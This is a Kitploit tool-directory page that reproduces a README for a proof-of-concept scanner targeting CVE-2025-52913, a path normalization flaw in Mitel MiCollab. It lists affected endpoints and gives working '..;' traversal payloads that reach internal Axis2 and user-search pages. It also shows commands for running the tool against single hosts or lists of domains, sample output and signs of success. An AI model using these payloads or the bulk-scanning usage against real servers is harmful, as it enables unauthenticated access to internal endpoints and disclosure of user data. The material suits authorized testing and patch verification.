Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
PoC-CVE-2025-52913 — A Proof of Concept (PoC) for CVE-2025-52913, a path normalization vulnerability affecting Mitel MiCollab. | Kitploit
Tools/GitHubGitHub/pgasus99/poc-cve-2025-52913
Vulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPenetration TestingLearning & Education
GitHubpgasus99/poc-cve-2025-52913

PoC-CVE-2025-52913

A Proof of Concept (PoC) for CVE-2025-52913, a path normalization vulnerability affecting Mitel MiCollab.

View Repository
5 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2025-52913 - MiCollab Path Normalization Vulnerability

📌 Overview

This repository contains a Proof of Concept (PoC) for CVE-2025-52913, a path normalization vulnerability affecting Mitel MiCollab.

The issue allows unauthenticated attackers to bypass intended path restrictions by leveraging crafted URL sequences such as ..;, leading to access to internal application endpoints.

⚠️ Impact

Successful exploitation may allow:

  • Access to internal and restricted endpoints
  • Exposure of sensitive application components
  • Potential information disclosure

🎯 Affected Endpoints

The vulnerability can be triggered via the following paths:

root@kitploit:~
/npm-pwg/loginForm.jsp/
/npm-pwg/extendedUmPlayMessage.jsp/
/npm-admin/showLoginPage.do/
/npm-admin/login.do/

💣 Payloads

Example traversal payloads:

root@kitploit:~
/..;/..;/axis2-AWC/axis2-web/HappyAxis.jsp
/..;/..;/usp/searchUsers.do

🚀 Usage

1. Install dependencies

root@kitploit:~
pip install -r requirements.txt

2. Run against a single target

root@kitploit:~
python3 POC-CVE-2025-52913.py example.com

3. Run against multiple targets

root@kitploit:~
python3 POC-CVE-2025-52913.py domains.txt

🧪 Example

root@kitploit:~
[*] Testing http://example.com
[+] http://example.com/npm-pwg/loginForm.jsp/..;/..;/axis2-AWC/axis2-web/HappyAxis.jsp - 200
    [!] Possible success

🔍 Detection

A target is likely vulnerable if:

  • The server responds with HTTP 200

  • The response contains:

    • Axis2
    • Axis2 Happiness Page
    • Valid application output from internal endpoints

🛠️ Technical Details

The vulnerability arises from improper normalization of crafted paths containing ..;, allowing traversal beyond the intended application context.

This behavior can expose internal services such as:

  • Axis2 web services interface
  • Internal user management endpoints

👤 Discovery

Discovered by Dahmani Toumi

📚 References

  • CVE: CVE-2025-52913
  • (Add vendor advisory or NVD link when available)

⚖️ Disclaimer

This project is intended for educational purposes and authorized security testing only.

Do not use this tool against systems without explicit permission. The author is not responsible for any misuse or damage.

Download Tool